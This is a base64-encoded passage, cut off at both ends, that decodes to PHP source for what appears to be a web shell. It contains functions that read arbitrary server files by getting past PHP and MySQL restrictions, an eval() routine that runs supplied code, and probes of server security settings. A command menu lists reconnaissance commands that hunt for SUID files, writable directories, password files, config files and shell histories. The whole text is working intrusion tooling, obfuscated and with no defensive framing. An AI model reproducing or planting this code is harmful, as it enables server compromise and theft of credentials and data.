5jdGlvbiBNeVNRTFJlYWRlcigkcGF0aCkgew0KCWdsb2JhbCAkREJob3N0LCREQnVzZXIsJERCcGFzczsNCglpZihnZXRfbWFnaWNfcXVvdGVzX2dwYygpICE9IDApeyRwYXRoID0gYWRkc2xhc2hlcygkcGF0aCk7fQ0KCSRjb24gPSBteXNxbF9jb25uZWN0KCREQmhvc3QsJERCdXNlciwkREJwYXNzKTsNCglteXNxbF9xdWVyeSgiQ1JFQVRFIERBVEFCQVNFIGEiKTsNCglteXNxbF9xdWVyeSgiQ1JFQVRFIFRBQkxFIGEuYSAoYSB2YXJjaGFyKDEwMjQpKSIpOw0KCW15c3FsX3F1ZXJ5KCJHUkFOVCBTRUxFQ1QsSU5TRVJUIE9OIGEuYSBUTyAnIi4kREJ1c2VyLiInIik7DQoJbXlzcWxfcXVlcnkoIkxPQUQgREFUQSBMT0NBTCBJTkZJTEUgJyIuJHBhdGguIicgSU5UTyBUQUJMRSBhLmEiKSBvciBkaWUobXlzcWxfZXJyb3IoKSk7DQoJJHJlc3VsdCA9IG15c3FsX3F1ZXJ5KCJTRUxFQ1QgYSBGUk9NIGEuYSIpOw0KCXdoaWxlKGxpc3QoJHJvdykgPSBteXNxbF9mZXRjaF9yb3coJHJlc3VsdCkpe3ByaW50ICRyb3cgLiBjaHIoMTApO30NCglteXNxbF9xdWVyeSgiRFJPUCBEQVRBQkFTRSBhIik7DQp9DQpmdW5jdGlvbiBNeVNRTElSZWFkZXIoJHBhdGgpIHsNCglnbG9iYWwgJERCaG9zdCwkREJ1c2VyLCREQnBhc3M7DQoJaWYoZ2V0X21hZ2ljX3F1b3Rlc19ncGMoKSAhPSAwKXskcGF0aCA9IGFkZHNsYXNoZXMoJHBhdGgpO30NCgkkY29uID0gbXlzcWxfY29ubmVjdCgkREJob3N0LCREQnVzZXIsJERCcGFzcyk7DQoJbXlzcWxfcXVlcnkoIkNSRUFURSBEQVRBQkFTRSBhIik7DQoJbXlzcWxfcXVlcnkoIkNSRUFURSBUQUJMRSBhLmEgKGEgdmFyY2hhcigxMDI0KSkiKTsNCgkNCglmdW5jdGlvbiByKCRmcCwgJiRidWYsICRsZW4sICYkZXJyKSB7DQogICAgICBwcmludCBmcmVhZCgkZnAsICRsZW4pOw0KCX0NCgkkbSA9IG5ldyBteXNxbGkoJERCaG9zdCwgJERCdXNlciwgJERCcGFzcywgJ2EnKTsNCgkkbS0+b3B0aW9ucyhNWVNRTElfT1BUX0xPQ0FMX0lORklMRSwgMSk7DQoJJG0tPnNldF9sb2NhbF9pbmZpbGVfaGFuZGxlcigiciIpOw0KCSRtLT5xdWVyeSgiTE9BRCBEQVRBIExPQ0FMIElORklMRSAnIi4kcGF0aC4iJyBJTlRPIFRBQkxFIGEuYSIpOw0KCSRtLT5jbG9zZSgpOw0KfQ0KZnVuY3Rpb24gREJDb25uZWN0KCRob3N0LCR1c2VyLCRwYXNzLCRkYikgew0KCSRjb25uZWN0ID0gbXlzcWxfcGNvbm5lY3QoJGhvc3QsJHVzZXIsJHBhc3MpOw0KCWlmKCEkY29ubmVjdCl7ZWNobyAiQ2FuJ3QgQ29ubmVjdCB0byBbICIuJGhvc3QuIiBdIFsgIi4kdXNlci4iIF0gWyAiLiRwYXNzLiIgXSI7IHJldHVybiBmYWxzZTsJfQ0KCWVsc2Ugew0KCQkkdHJ5VG9TZWxlY3REQiA9IG15c3FsX3NlbGVjdF9kYigkZGIsJGNvbm5lY3QpOw0KCQlpZighJHRyeVRvU2VsZWN0REIpe2VjaG8gIkNhbid0IEVudGVyIFRoZSBEYXRhYmFzZSBbICIuJGRiLiIgXSI7IHJldHVybiBmYWxzZTsJCX0NCgkJZWxzZXtyZXR1cm4gdHJ1ZTsgcmV0dXJuICRjb25uZWN0O30NCgl9DQp9DQpmdW5jdGlvbiBSZWFkSWQoJHBhdGgpIHsNCglmb3IoJHVpZD0wOyR1aWQ8NjAwMDA7JHVpZCsrKSB7ICAgDQoJCSRhcmEgPSBwb3NpeF9nZXRwd3VpZCgkdWlkKTsNCgkJaWYgKCFlbXB0eSgkYXJhKSl7d2hpbGUgKGxpc3QgKCRrZXksICR2YWwpID0gZWFoKCRhcmEpKXskY29udGVudCAuPSAkdmFsO30NCgkJfQ0KCX0NCglyZXR1cm4gJGNvbnRlbnQ7DQp9DQpmdW5jdGlvbiBJbWFwRigkcGF0aCkgew0KCSRzdHJlYW0gPSBpbWFwX29wZW4oJHBhdGgsICIiLCAiIik7DQoJJHN0ciA9IGltYXBfYm9keSgkc3RyZWFtLCAxKTsNCglpbWFwX2Nsb3NlKCRzdHJlYW0pOw0KCXJldHVybiAkc3RyOw0KfQ0KZnVuY3Rpb24gRmlsZUYoJHBhdGgpIHsNCgkkbGluZXMgPSBmaWxlKCRwYXRoKTsgZm9yZWFjaCgkbGluZXMgYXMgJGxpbmUpeyRjb250ZW50IC49ICRsaW5lO30NCglyZXR1cm4gJGNvbnRlbnQ7DQp9DQpmdW5jdGlvbiBDb3B5RigkcGF0aCkgewkNCgkkdGVtcEZpbGUgPSBtZDUodW5pcWlkKCkpLiIuYmIiOw0KCWNvcHkoJHBhdGgsJHRlbXBGaWxlKTsNCgkkY29udGVudCA9IGZpbGVfZ2V0X2NvbnRlbnRzKCR0ZW1wRmlsZSk7DQoJdW5saW5rKCR0ZW1wRmlsZSk7DQoJcmV0dXJuICRjb250ZW50Ow0KfQ0KZnVuY3Rpb24gZmdldHNzRigkcGF0aCkgew0KCXdoaWxlKCgkbGluZSA9IGZnZXRzcygkcGF0aCkpICE9IGZhbHNlKXskY29udGVudCAuPSAkbGluZTt9DQoJcmV0dXJuICRjb250ZW50Ow0KfQ0KZnVuY3Rpb24gaGlnaGxpZ2h0RmlsZSgkcGF0aCkgew0KCXJldHVybiBoaWdobGlnaHRfZmlsZSgkcGF0aCk7DQp9DQpmdW5jdGlvbiBtYlNlbmRFbWFpbCgkcGF0aCkgew0KCWlmKGZ1bmN0aW9uX2V4aXN0cygnbWJfc2VuZF9tYWlsJykpIHsNCgkJJHRlbXBGaWxlID0gdW5pcWlkKCk7DQoJCSRhZGRpdGlvbmFsX3BhcmFtID0gIi1DICIuJHBhdGguIiAtWCAiLmdldGN3ZCgpLiIvIi4kdGVtcEZpbGU7DQoJCW1iX3NlbmRfbWFpbCgiZW1haWxAZXhhbXBsZS5jb20iLCBOVUxMLCBOVUxMLCBOVUxMLCAkYWRkaXRpb25hbF9wYXJhbSk7DQoJCSRjb250ZW50ID0gZmlsZV9nZXRfY29udGVudHMoJHRlbXBGaWxlKTsNCgkJdW5saW5rKCR0ZW1wRmlsZSk7DQoJCXJldHVybiAkY29udGVudDsNCgl9DQp9DQpmdW5jdGlvbiBEZWxldGVGaWxlKCRmaWxlTmFtZSkgew0KCWdsb2JhbCAkb3M7DQoJaWYoZnVuY3Rpb25fZXhpc3RzKCd1bmxpbmsnKSkNCgl7JGRlbGV0ZSA9IHVubGluaygkZmlsZU5hbWUpO30NCglpZigoISRkZWxldGUpICYmICgkb3MgPT0gJ1dpbmRvd3MnKSkNCgl7JGRlbGV0ZSA9IEV4ZSgiZGVsICRmaWxlTmFtZSIpOyB9DQoJZWxzZSBpZigoISRkZWxldGUpICYmICgkb3MgPT0gJ0xpbnV4JykpDQoJeyRkZWxldGUgPSBFeGUoInJtIC1mICRmaWxlTmFtZSIpO30NCglpZigkZGVsZXRlKXtyZXR1cm4gdHJ1ZTt9ZWxzZXtyZXR1cm4gZmFsc2U7fQ0KfQ0KZnVuY3Rpb24gQ3VybEZpbGVSZWFkKCRwYXRoKSB7DQoJJGNoID0gY3VybF9pbml0KCJmaWxlOi8vIi4kcGF0aC4iXHgwMCIuX19GSUxFX18pOw0KCXZhcl9kdW1wKGN1cmxfZXhlYygkY2gpKTsNCn0NCmZ1bmN0aW9uIEZSZWFkRigkcGF0aCkgew0KCSRmaWxlID0gZm9wZW4oJHBhdGgsJ3IrJyk7IC8vT3BlbiBUaGUgRmlsZQ0KCWlmKGZ1bmN0aW9uX2V4aXN0cygnZnJlYWQnKSl7aHRtbHNwZWNpYWxjaGFycyhmcmVhZCgkZmlsZSxmaWxlc2l6ZSgkZmlsZSkpKTt9DQoJZmNsb3NlKCRmaWxlKTsNCn0NCmZ1bmN0aW9uIFRlbXBuYW1lRigkcGF0aCkgew0KCWdsb2JhbCAkZGlyOw0KCSR0ZW1wID0gdGVtcG5hbSgkZGlyLCAiY3giKTsNCglpZihjb3B5KCJjb21wcmVzcy56bGliOi8vIi4kcGF0aCwgJHRlbXApKSB7DQoJCSRoYW5kbGVyID0gZm9wZW4oJHRlbXAsICJyIik7DQoJCSRyZWFkRmlsZSA9IGZyZWFkKCRoYW5kbGVyLCBAZmlsZXNpemUoJHRlbXApKTsNCgkJZmNsb3NlKCRoYW5kbGVyKTsNCgkJJGNvbnRlbnQgLj0gaHRtbHNwZWNpYWxjaGFycygkZmlsZW5hbWUpOw0KCQkkY29udGVudCAuPSBubDJicihodG1sc3BlY2lhbGNoYXJzKCRyZWFkRmlsZSkpOw0KCQkkY29udGVudCAuPSBodG1sc3BlY2lhbGNoYXJzKCRmaWxlbmFtZSk7DQoJCXVubGluaygkdGVtcCk7DQoJCXJldHVybiAkY29udGVudDsNCgl9IAkNCn0NCmZ1bmN0aW9uIEV2YWx1YXRpb24oJGV2YWwpIHsNCgkkZXZhbCA9IHN0cl9yZXBsYWNlKGFycmF5KCI8P3BocCIsIjw/IiwiPz4iKSwiIiwkZXZhbCk7DQoJJGV2YWwgPSBldmFsKCRldmFsKTsNCglpZigkZXZhbCl7cmV0dXJuIHRydWU7fWVsc2V7cmV0dXJuIGZhbHNlO30NCn0NCmZ1bmN0aW9uIE9yYWNsZSgpIHsNCglpZihmdW5jdGlvbl9leGlzdHMoJ29jaWxvZ29uJykpeyRvcmFjbGUgPSAnPGZvbnQgY29sb3I9InJlZCI+T048L2ZvbnQ+Jzt9DQoJZWxzZSB7JG9yYWNsZSA9ICc8Zm9udCBjb2xvcj0iZ3JlZW4iPk9GRjwvZm9udD4nO31yZXR1cm4gJG9yYWNsZTsNCn0NCmZ1bmN0aW9uIE1zU1FMKCkgew0KCWlmKGZ1bmN0aW9uX2V4aXN0cygnbXNzcWxfY29ubmVjdCcpKXskbXNTUUwgPSAnPGZvbnQgY29sb3I9InJlZCI+T048L2ZvbnQ+Jzt9DQoJZWxzZSB7JG1zU1FMID0gJzxmb250IGNvbG9yPSJncmVlbiI+T0ZGPC9mb250Pic7fXJldHVybiAkbXNTUUw7DQp9DQpmdW5jdGlvbiBNeVNRTDIoKSB7DQoJJG15c3FsX3RyeSA9IGZ1bmN0aW9uX2V4aXN0cygnbXlzcWxfY29ubmVjdCcpOw0KCWlmKCRteXNxbF90cnkpeyRteXNxbCA9ICc8Zm9udCBjb2xvcj0icmVkIj5PTjwvZm9udD4nO30NCgllbHNlIHskbXlzcWwgPSAnPGZvbnQgY29sb3I9ImdyZWVuIj5PRkY8L2ZvbnQ+Jzt9cmV0dXJuICRteXNxbDsNCn0NCmZ1bmN0aW9uIE1TUUwoKSB7DQoJaWYgKGZ1bmN0aW9uX2V4aXN0cygnbXNxbF9jb25uZWN0JykpeyRtU3FsID0gJzxmb250IGNvbG9yPSJyZWQiPk9OPC9mb250Pic7fQ0KCWVsc2UgeyRtU3FsID0gJzxmb250IGNvbG9yPSJncmVlbiI+T0ZGPC9mb250Pic7fXJldHVybiAkbVNxbDsNCn0NCmZ1bmN0aW9uIE15c3FsSSgpIHsNCglpZiAoZnVuY3Rpb25fZXhpc3RzKCdteXNxbGlfY29ubmVjdCcpKXskbXlzcWxpID0gJzxmb250IGNvbG9yPSJyZWQiPk9OPC9mb250Pic7fQ0KCWVsc2UgeyRteXNxbGkgPSAnPGZvbnQgY29sb3I9ImdyZWVuIj5PRkY8L2ZvbnQ+Jzt9cmV0dXJuICRteXNxbGk7DQp9IA0KZnVuY3Rpb24gR3ppcCgpIHsNCglpZiAoZnVuY3Rpb25fZXhpc3RzKCdnemVuY29kZScpKXskZ3ppcCA9ICc8Zm9udCBjb2xvcj0icmVkIj5PTjwvZm9udD4nO30NCgllbHNlIHskZ3ppcCA9ICc8Zm9udCBjb2xvcj0iZ3JlZW4iPk9GRjwvZm9udD4nO31yZXR1cm4gJGd6aXA7DQp9DQpmdW5jdGlvbiBvcGVuQmFzZURpcigpIHsNCgkkb3BlbkJhc2VEaXIgPSBpbmlfZ2V0KCJvcGVuX2Jhc2VkaXIiKTsNCglpZiAoISRvcGVuQmFzZURpcil7JG9wZW5CYXNlRGlyID0gJzxmb250IGNvbG9yPSJncmVlbiI+T0ZGPC9mb250Pic7fQ0KICAgIGVsc2UgeyRvcGVuQmFzZURpciA9ICc8Zm9udCBjb2xvcj0icmVkIj5PTjwvZm9udD4nO30JDQoJcmV0dXJuICRvcGVuQmFzZURpcjsNCn0NCmZ1bmN0aW9uIEN1cmwoKSB7DQoJaWYoZXh0ZW5zaW9uX2xvYWRlZCgnY3VybCcpKXskY3VybCA9ICc8Zm9udCBjb2xvcj0icmVkIj5PTjwvZm9udD4nO30NCgllbHNleyRjdXJsID0gJzxmb250IGNvbG9yPSJncmVlbiI+T0ZGPC9mb250Pic7fXJldHVybiAkY3VybDsNCn0NCmZ1bmN0aW9uIG1hZ2ljUW91dHMoKSB7DQoJaWYoZnVuY3Rpb25fZXhpc3RzKCdnZXRfbWFnaWNfcXVvdGVzX2dwYycpKXskbWFnID0gZ2V0X21hZ2ljX3F1b3Rlc19ncGMoKTt9DQoJaWYgKGVtcHR5KCRtYWcpKXskbWFnID0gJzxmb250IGNvbG9yPSJncmVlbiI+T0ZGPC9mb250Pic7fQ0KCWVsc2UgeyRtYWc9ICc8Zm9udCBjb2xvcj0icmVkIj5PTjwvZm9udD4nO31yZXR1cm4gJG1hZzsNCn0NCmZ1bmN0aW9uIFNhZmVNb2RlKCkgew0KCSRzYWZlX21vZGUgPSBpbmlfZ2V0KCJzYWZlX21vZGUiKTsNCglpZiAoISRzYWZlX21vZGUpeyRzYWZlX21vZGUgPSAnPGZvbnQgY29sb3I9ImdyZWVuIj5PRkY8L2ZvbnQ+Jzt9DQogICAgZWxzZSB7JHNhZmVfbW9kZSA9ICc8Zm9udCBjb2xvcj0icmVkIj5PTjwvZm9udD4nO30NCglyZXR1cm4gJHNhZmVfbW9kZTsNCn0NCmZ1bmN0aW9uIERpc2FibGVGdW5jdGlvbnMoKSB7DQoJJGRpc2Z1biA9IGluaV9nZXQoJ2Rpc2FibGVfZnVuY3Rpb25zJyk7DQoJaWYgKGVtcHR5KCRkaXNmdW4pKXskZGlzZnVuID0gJzxmb250IGNvbG9yPSJncmVlbiI+Tk9ORTwvZm9udD4nO31yZXR1cm4gJGRpc2Z1bjsNCn0NCmZ1bmN0aW9uIFJlZ2lzdGVyR2xvYmFscygpIHsNCglpZihpbmlfZ2V0KCdyZWdpc3Rlcl9nbG9iYWxzJykpeyRyZWdpc3Rlcmc9ICc8Zm9udCBjb2xvcj0icmVkIj5PTjwvZm9udD4nO30NCgllbHNleyRyZWdpc3Rlcmc9ICc8Zm9udCBjb2xvcj0iZ3JlZW4iPk9GRjwvZm9udD4nO31yZXR1cm4gJHJlZ2lzdGVyZzsNCn0NCmZ1bmN0aW9uIEdldFJlYWxJUCgpIHsNCiAgICBpZiAoZ2V0ZW52KEhUVFBfWF9GT1JXQVJERURfRk9SKSl7JGlwPWdldGVudihIVFRQX1hfRk9SV0FSREVEX0ZPUik7fSANCgllbHNlaWYgKGdldGVudihIVFRQX0NMSUVOVF9JUCkpeyRpcD1nZXRlbnYoSFRUUF9DTElFTlRfSVApO30NCgllbHNlIHskaXA9Z2V0ZW52KFJFTU9URV9BRERSKTt9DQogICAgcmV0dXJuICRpcDsNCn0NCmZ1bmN0aW9uIFNlbGVjdENvbW1hbmQoJG9zKSB7DQoJZ2xvYmFsICRvczsNCglpZigkb3MgPT0gJ1dpbmRvd3MnKSB7DQoJCWVjaG8gIg0KCQk8c2VsZWN0IG5hbWU9J2FsaWFzJyBpZD0nYWxpYXMnIG9uQ2hhbmdlPSdBZGRBbGlhcygpOycgPg0KCQk8b3B0aW9uIHZhbHVlPScnPk5PTkU8L29wdGlvbj4JDQoJCTxvcHRpb24gdmFsdWU9J2RpcicgPkxpc3QgRGlyZWN0b3J5PC9vcHRpb24+DQoJCTxvcHRpb24gdmFsdWU9J2RpciAvcyAvdyAvYiBpbmRleC5waHAnPkZpbmQgaW5kZXgucGhwIGluIGN1cnJlbnQgZGlyPC9vcHRpb24+DQoJCTxvcHRpb24gdmFsdWU9J2RpciAvcyAvdyAvYiAqY29uZmlnKi5waHAnPkZpbmQgKmNvbmZpZyoucGhwIGluIGN1cnJlbnQgZGlyICZuYnNwOyAmbmJzcDsgJm5ic3A7ICZuYnNwOyAmbmJzcDsgJm5ic3A7ICZuYnNwOyAmbmJzcDsgJm5ic3A7ICZuYnNwOyAgJm5ic3A7ICAmbmJzcDsgICZuYnNwOyAgJm5ic3A7ICAmbmJzcDs8L29wdGlvbj4NCgkJPG9wdGlvbiB2YWx1ZT0nbmV0c3RhdCAtYW4nPlNob3cgYWN0aXZlIGNvbm5lY3Rpb25zPC9vcHRpb24+DQoJCTxvcHRpb24gdmFsdWU9J25ldCBzdGFydCc+U2hvdyBydW5uaW5nIHNlcnZpY2VzPC9vcHRpb24+DQoJCTxvcHRpb24gdmFsdWU9J3Rhc2tsaXN0Jz5TaG93IFBybzwvb3B0aW9uPg0KCQk8b3B0aW9uIHZhbHVlPSduZXQgdXNlcic+VXNlciBhY2NvdW50czwvb3B0aW9uPg0KCQk8b3B0aW9uIHZhbHVlPSduZXQgdmlldyc+U2hvdyBjb21wdXRlcnM8L29wdGlvbj4NCgkJPG9wdGlvbiB2YWx1ZT0nYXJwIC1hJz5BUlAgVGFibGU8L29wdGlvbj4NCgkJPG9wdGlvbiB2YWx1ZT0naXBjb25maWcgL2FsbCc+SVAgQ29uZmlndXJhdGlvbjwvb3B0aW9uPg0KCQk8b3B0aW9uIHZhbHVlPSduZXRzdGF0IC1hbic+bmV0c3RhdCAtYW48L29wdGlvbj4NCgkJPG9wdGlvbiB2YWx1ZT0nc3lzdGVtaW5mbyc+U3lzdGVtIEluZm9ybWF0aW9uczwvb3B0aW9uPg0KCQk8b3B0aW9uIHZhbHVlPSdnZXRtYWMnPkdldCBNYWMgQWRkcmVzczwvb3B0aW9uPg0KCQk8L3NlbGVjdD4NCgkJIjsNCgl9DQoJZWxzZSB7DQoJCWVjaG8gIg0KCQk8c2VsZWN0IG5hbWU9J2FsaWFzJyBpZD0nYWxpYXMnIG9uQ2hhbmdlPSdBZGRBbGlhcygpOycgPg0KCQk8b3B0aW9uIHZhbHVlPScnPk5PTkU8L29wdGlvbj4JDQoJCTxvcHRpb24gdmFsdWU9J2xzIC1sYSc+TGlzdCBkaXI8L29wdGlvbj4NCgkJPG9wdGlvbiB2YWx1ZT0nY2F0IC9ldGMvaG9zdHMnPklQIEFkZHJlc3Nlczwvb3B0aW9uPg0KCQk8b3B0aW9uIHZhbHVlPSdjYXQgL3Byb2Mvc3lzL3ZtL21tYXBfbWluX2FkZHInPkNoZWNrIE1NQVA8L29wdGlvbj4NCgkJPG9wdGlvbiB2YWx1ZT0nbHNhdHRyIC12YSc+bGlzdCBmaWxlIGF0dHJpYnV0ZXMgb24gYSBMaW51eCBzZWNvbmQgZXh0ZW5kZWQgZmlsZSBzeXN0ZW08L29wdGlvbj4NCgkJPG9wdGlvbiB2YWx1ZT0nbmV0c3RhdCAtYW4gfCBncmVwIC1pIGxpc3Rlbic+c2hvdyBvcGVuZWQgcG9ydHM8L29wdGlvbj4NCgkJPG9wdGlvbiB2YWx1ZT0nZmluZCAvIC10eXBlIGYgLXBlcm0gLTA0MDAwIC1scyc+ZmluZCBhbGwgc3VpZCBmaWxlczwvb3B0aW9uPg0KCQk8b3B0aW9uIHZhbHVlPSdmaW5kIC4gLXR5cGUgZiAtcGVybSAtMDQwMDAgLWxzJz5maW5kIHN1aWQgZmlsZXMgaW4gY3VycmVudCBkaXI8L29wdGlvbj4NCgkJPG9wdGlvbiB2YWx1ZT0nZmluZCAvIC10eXBlIGYgLXBlcm0gLTAyMDAwIC1scyc+ZmluZCBhbGwgc2dpZCBmaWxlczwvb3B0aW9uPg0KCQk8b3B0aW9uIHZhbHVlPSdmaW5kIC4gLXR5cGUgZiAtcGVybSAtMDIwMDAgLWxzJz5maW5kIHNnaWQgZmlsZXMgaW4gY3VycmVudCBkaXI8L29wdGlvbj4NCgkJPG9wdGlvbiB2YWx1ZT0nZmluZCAvIC10eXBlIGYgLW5hbWUgY29uZmlnLmluYy5waHAnPmZpbmQgY29uZmlnLmluYy5waHAgZmlsZXM8L29wdGlvbj4NCgkJPG9wdGlvbiB2YWx1ZT0nZmluZCAvIC10eXBlIGYgLW5hbWUgXCJjb25maWcqXCInPmZpbmQgY29uZmlnKiBmaWxlczwvb3B0aW9uPg0KCQk8b3B0aW9uIHZhbHVlPSdmaW5kIC4gLXR5cGUgZiAtbmFtZSBcImNvbmZpZypcIic+ZmluZCBjb25maWcqIGZpbGVzIGluIGN1cnJlbnQgZGlyPC9vcHRpb24+DQoJCTxvcHRpb24gdmFsdWU9J2ZpbmQgLyAtcGVybSAtMiAtbHMnPmZpbmQgYWxsIHdyaXRhYmxlIGZvbGRlcnMgYW5kIGZpbGVzPC9vcHRpb24+DQoJCTxvcHRpb24gdmFsdWU9J2ZpbmQgLiAtcGVybSAtMiAtbHMnPmZpbmQgYWxsIHdyaXRhYmxlIGZvbGRlcnMgYW5kIGZpbGVzIGluIGN1cnJlbnQgZGlyPC9vcHRpb24+DQoJCTxvcHRpb24gdmFsdWU9J2ZpbmQgLyAtdHlwZSBmIC1uYW1lIHNlcnZpY2UucHdkJz5maW5kIGFsbCBzZXJ2aWNlLnB3ZCBmaWxlczwvb3B0aW9uPg0KCQk8b3B0aW9uIHZhbHVlPSdmaW5kIC4gLXR5cGUgZiAtbmFtZSBzZXJ2aWNlLnB3ZCc+ZmluZCBzZXJ2aWNlLnB3ZCBmaWxlcyBpbiBjdXJyZW50IGRpcjwvb3B0aW9uPg0KCQk8b3B0aW9uIHZhbHVlPSdmaW5kIC8gLXR5cGUgZiAtbmFtZSAuaHRwYXNzd2QnPmZpbmQgYWxsIC5odHBhc3N3ZCBmaWxlczwvb3B0aW9uPg0KCQk8b3B0aW9uIHZhbHVlPSdmaW5kIC4gLXR5cGUgZiAtbmFtZSAuaHRwYXNzd2QnPmZpbmQgLmh0cGFzc3dkIGZpbGVzIGluIGN1cnJlbnQgZGlyPC9vcHRpb24+DQoJCTxvcHRpb24gdmFsdWU9J2ZpbmQgLyAtdHlwZSBmIC1uYW1lIC5iYXNoX2hpc3RvcnknPmZpbmQgYWxsIC5iYXNoX2hpc3RvcnkgZmlsZXM8L29wdGlvbj4NCgkJPG9wdGlvbiB2YWx1ZT0nZmluZCAuIC10eXBlIGYgLW5hbWUgLmJhc2hfaGlzdG9yeSc+ZmluZCAuYmFzaF9oaXN0b3J5IGZpbGVzIGluIGN1cnJlbnQgZGlyPC9vcHRpb24+DQoJCTxvcHRpb24gdmFsdWU9J2ZpbmQgLyAtdHlwZSBmIC1uYW1lIC5mZXRjaG1haWxyYyc+ZmluZCBhbGwgLmZldGNobWFpbHJjIGZpbGVzPC9vcHRpb24+DQoJCTxvcHRpb24gdmFsdWU9J2ZpbmQgLiAtdHlwZSBmIC1uYW1lIC5mZXRjaG1haWxyYyc+ZmluZCAuZmV0Y2htYWlscmMgZmlsZXMgaW4gY3VycmVudCBkaXI8L29wdGlvbj4NCgkJPG9wdGlvbiB2YWx1ZT0nbG9jYXRlIGh0dHBkLmNvbmYnPmxvY2F0ZSBodHRwZC5jb25mIGZpbGVzPC9vcHRpb24+DQoJCTxvcHRpb24gdmFsdWU9J2xvY2F0ZSB2aG9zdHMuY29uZic+bG9jYXRlIHZob3N0cy5jb25mIGZpbGVzPC9vcHRpb24+DQoJCTxvcHRpb24gdmFsdWU9J2xvY2F0ZSBwcm9mdHBkLmNvbmYnPmxvY2F0ZSBwcm9mdHBkLmNvbmYgZmlsZXM8L29wdGlvbj4NCgkJPG9wdGlvbiB2YWx1ZT0nbG9jYXRlIHBzeWJuYy5jb25mJz5sb2NhdGUgcHN5Ym5jLmNvbmYgZmlsZXM8L29wdGlvbj4NCgkJPG9wdGlvbiB2YWx1ZT0nbG9jYXRlIG15LmNvbmYnPmxvY2F0ZSBteS5jb25mIGZpbGVzPC9vcHRpb24+DQoJCTxvcHRpb24gdmFsdWU9J2xvY2F0ZSBhZG1pbi5waHAnPmxvY2F0ZSBhZG1pbi5waHAgZmlsZXM8L29wdGlvbj4NCgkJPG9wdGlvbiB2YWx1ZT0nbG9jYXRlIGNmZy5waHAnPmxvY2F0ZSBjZmcucGhwIGZpbGVzPC9vcHRpb24+DQoJCTxvcHRpb24gdmFsdWU9J2xvY2F0ZSBjb25mLnBocCc+bG9jYXRlIGNvbmYucGhwIGZpbGVzPC9vcHRpb24+DQoJCTxvcHRpb24gdmFsdWU9J2xvY2F0ZSBjb25maWcuZGF0Jz5sb2NhdGUgY29uZmlnLmRhdCBmaWxlczwvb3B0aW9uPg0KCQk8b3B0aW9uIHZhbHVlPSdsb2NhdGUgY29uZmlnLnBocCc+bG9jYXRlIGNvbmZpZy5waHAgZmlsZXM8L29wdGlvbj4NCgkJPG9wdGlvbiB2YWx1ZT0nbG9jYXRlIGNvbmZpZy5pbmMnPmxvY2F0ZSBjb25maWcuaW5jIGZpbGVzPC9vcHRpb24+DQoJCTxvcHRpb24gdmFsdWU9J2xvY2F0ZSBjb25maWcuaW5jLnBocCc+bG9jYXRlIGNvbmZpZy5pbmMucGhwPC9vcHRpb24+DQoJCTxvcHRpb24gdmFsdWU9J2xvY2F0ZSBjb25maWcuZGVmYXVsdC5waHAnPmxvY2F0ZSBjb25maWcuZGVmYXVsdC5waHAgZmlsZXM8L29wdGlvbj4NCgkJPG9wdGlvbiB2YWx1ZT0nbG9jYXRlIGNvbmZpZyc+bG9jYXRlIGNvbmZpZyogZmlsZXMgPC9vcHRpb24+DQoJCTxvcHRpb24gdmFsdWU9J2xvY2F0ZSBcIi5jb25mXCInPmxvY2F0ZSAuY29uZiBmaWxlczwvb3B0aW9uPg0KCQk8b3B0aW9uIHZhbHVlPSdsb2NhdGUgXCIucHdkXCInPmxvY2F0ZSAucHdkIGZpbGVzPC9vcHRpb24+DQoJCTxvcHRpb24gdmFsdWU9J2xvY2F0ZSBcIi5zcWxcIic+bG9jYXRlIC5zcWwgZmlsZXM8L29wdGlvbj4NCgkJPG9wdGlvbiB2YWx1ZT0nbG9jYXRlIFwiLmh0cGFzc3dkXCInPmxvY2F0ZSAuaHRwYXNzd2QgZmlsZXM8L29wdGlvbj4NCgkJPG9wdGlvbiB2YWx1ZT0nbG9jYXRlIFwiLmJhc2hfaGlzdG9yeVwiJz5sb2NhdGUgLmJhc2hfaGlzdG9yeSBmaWxlczwvb3B0aW9uPg0KCQk8b3B0aW9uIHZhbHVlPSdsb2NhdGUgXCIubXlzcWxfaGlzdG9yeVwiJz5sb2NhdGUgLm15c3FsX2hpc3RvcnkgZmlsZXM8L29wdGlvbj4NCgkJPG9wdGlvbiB2YWx1ZT0nbG9jYXRlIFwiLmZldGNobWFpbHJjXCInPmxvY2F0ZSAuZmV0Y2htYWlscmMgZmlsZXM8L29wdGlvbj4NCgkJPG9wdGlvbiB2YWx1ZT0nbG9jYXRlIGJhY2t1cCc+bG9jYXRlIGJhY2t1cCBmaWxlczwvb3B0aW9uPg0KCQk8b3B0aW9uIHZhbHVlPSdsb2NhdGUgZHVtcCc+bG9jYXRlIGR1bXAgZmlsZXM8L29wdGlvbj4NCgkJPG9wdGlvbiB2YWx1ZT0nbG9jYXRlIHByaXYnPmxvY2F0ZSBwcml2IGZpbGVzPC9vcHRpb24+DQoJCTwvc2VsZWN0Pg0KCQkiOw0KCX0NCn0NCmZ1bmN0aW9uIENTUygkc2gzbGxDb2xvcikgew0KCSRjc3MgPSAgIg0KCTxzdHlsZT4NCglCT0RZDQoJew0KCQlGT05ULUZBTUlMWTogVmVyZGFuYTsgDQoJCW1hcmdpbjogMjsNCgkJYmFja2dyb3VuZC1jb2xvcjogIzAwMDAwMDsNCgkJY29sb3I6d2hpdGU7DQoJCWZvbnQtc2l6ZToxMHB0Ow0KCX0NCglzeSAgDQoJew0KCQljb2xvcjoiLiRzaDNsbENvbG9yLiI7DQoJCWZvbnQtc2l6ZTo3cHQ7DQoJfQ0KCSNCb3gNCgl7DQoJCWNvbG9yOiIuJHNoM2xsQ29sb3IuIjsNCgkJYmFja2dyb3VuZC1jb2xvcjojMDAwOw0KCQlmb250LXNpemU6MTRweDsNCgkJZm9udC13ZWlnaHQ6Ym9sZDsNCg0KCQlib3JkZXI6bm9uZTsNCgl9DQoJdGFibGUgDQoJew0KCQlib3JkZXI6bm9uZTsNCgkJQk9SREVSOiAgI2VlZWVlZSAgb3V0c2V0Ow0KCQlCQUNLR1JPVU5ELUNPTE9SOiAjMDAwMDAwOw0KCQljb2xvcjogI2NjY2NjYzsNCgkJZm9udC1zaXplOjEwcHg7DQoJfQ0KCXRyIA0KCXsNCgkJQk9SREVSLVJJR0hUOiAgI2NjY2NjYyAxcHggc29saWQ7DQoJCUJPUkRFUi1UT1A6ICAgICNjY2NjY2MgMXB4IHNvbGlkOw0KCQlCT1JERVItTEVGVDogICAjY2NjY2NjIDFweCBzb2xpZDsNCgkJQk9SREVSLUJPVFRPTTogI2NjY2NjYyAxcHggc29saWQ7DQoJCWNvbG9yOiAjZmZmZmZmOw0KCX0NCgl0ZCANCgl7DQoJCUJPUkRFUi1SSUd